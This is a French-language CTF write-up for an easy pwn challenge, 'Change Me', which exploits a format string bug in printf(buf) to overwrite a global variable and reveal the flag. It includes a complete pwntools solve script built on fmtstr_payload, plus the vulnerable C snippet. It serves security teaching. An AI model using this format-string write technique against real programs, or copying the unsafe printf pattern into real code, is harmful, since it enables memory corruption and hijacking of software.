2 min read

[CTF GEMA] Change Me

CTF GEMA Groupe 2025

Niveau de Difficulté : Easy

Catégorie du Challenge : Pwn

Description :

Votre mission consiste à modifier une valeur mystérieuse du programme et à révéler ce qui est caché. Le temps est compté et une seule erreur pourrait vous coûter cher. ⏱️
Soyez créatif, sortez des sentiers battus et manipulez le flux pour découvrir le prix qui vous attend. Mais dépêchez-vous, le temps presse ! 🏃‍♂️💨 Bonne chance ! 🏆

Steps to Solve

Format string dans fgets() :

La vulnérabilité dans le code est une vulnérabilité classique de format string, qui provient de l'appel à la fonction printf :

char buf[40];
fgets(buf, 40, stdin);
printf(buf); // User input is used as the format string!

La fonction printf est utilisée avec un tampon contrôlé par l'utilisateur, buf, qui est rempli avec l'entrée de l'utilisateur via fgets. Le problème ici est que printf est utilisé sans chaîne de format, ce qui permet à un attaquant d'injecter des spécificateurs de format comme %n, ce qui peut manipuler la mémoire.

Cela est particulièrement dangereux car l'attaquant peut utiliser la chaîne de format pour écraser la variable globale ChangeMe, qui est vérifiée plus tard dans le programme pour déterminer si le flag doit être imprimé.

La fonction fgets prend l'entrée de l'utilisateur et la place dans le tableau buf, qui est ensuite passé à printf. Étant donné que l'entrée n'est pas filtrée et que printf interprète l'entrée utilisateur comme des spécificateurs de format, cela ouvre la voie à une exploitation.

En créant une entrée spécifique, un attaquant peut écraser la mémoire à l'adresse de la variable ChangeMe, la définissant à 1. Une fois la valeur modifiée, le programme affichera le flag.


1. Identifier la Cible

L'objectif est d'écraser la variable globale ChangeMe (initialisée à 0) pour la rendre non nulle. La fonction win(), qui imprime le flag, est exécutée si ChangeMe est non nul :

if (ChangeMe) { // Passes if ChangeMe != 0
    win();
}

2. Localiser ChangeMe en Mémoire

L'adresse de ChangeMe peut être extraite du binaire en utilisant des outils comme readelf ou via la classe ELF de pwntools :

change_me_addr = elf.symbols['ChangeMe']

3. Déterminer l'Offset de la Format String

L'offset de la format string spécifie où l'entrée contrôlée par l'utilisateur apparaît sur la stack. Cela est nécessaire pour positionner correctement l'adresse cible (ChangeMe). Le module FmtStr de pwntools automatise la recherche de cet offset :

autofmt = FmtStr(find_offset)
offset = autofmt.offset

4. Créer le Payload

En utilisant l'offset, construisez un payload pour écrire 0x41 (n'importe quelle valeur non nulle) dans ChangeMe. La fonction fmtstr_payload simplifie cette étape :

payload = fmtstr_payload(
    offset,
    {change_me_addr: 0x41},
    write_size='byte'  # Overwrite only 1 byte (sufficient for non-zero)
)

5. Exécuter l'Exploit

Envoyez le payload au programme pour déclencher la vulnérabilité et afficher le flag :

p.sendlineafter(b"> ", payload)

Solve Code :

from pwn import *

elf = ELF("./main")
context(binary=elf)
libc = None
context.log_level = "debug"


def conn():
    global libc
    if args.LOCAL:
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
        p = process([elf.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        p = remote("127.0.0.1", 1234)
    return p


def find_offset(payload):
    p = elf.process()
    p.sendlineafter(b"> ", payload)
    return p.recvline().strip()


def main():
    autofmt = FmtStr(find_offset)
    offset = autofmt.offset

    p = conn()

    payload = fmtstr_payload(offset, {elf.symbols['ChangeMe']: 0x41}, write_size='byte')
    p.sendlineafter(b"> ", payload)
    p.interactive()


if __name__ == "__main__":
    main()

...

Flag

FLAG{f0rm4t_5tr1ng5_4r3_sw1ss_4rmy_kn1v3s}